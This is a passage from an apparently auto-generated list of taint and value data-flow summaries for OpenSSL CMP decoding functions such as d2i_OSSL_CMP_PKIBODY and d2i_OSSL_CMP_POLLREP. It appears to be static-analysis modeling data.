"value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG_bio", "(BIO *,OSSL_CMP_MSG **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG_bio", "(BIO *,OSSL_CMP_MSG **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG_bio", "(BIO *,OSSL_CMP_MSG **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG_bio", "(BIO *,OSSL_CMP_MSG **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIHEADER", "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKISI", "(OSSL_CMP_PKISI **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREP", "(OSSL_CMP_POLLREP **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_POLLREQ", "(OSSL_CMP_POLLREQ **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PROTECTEDPART", 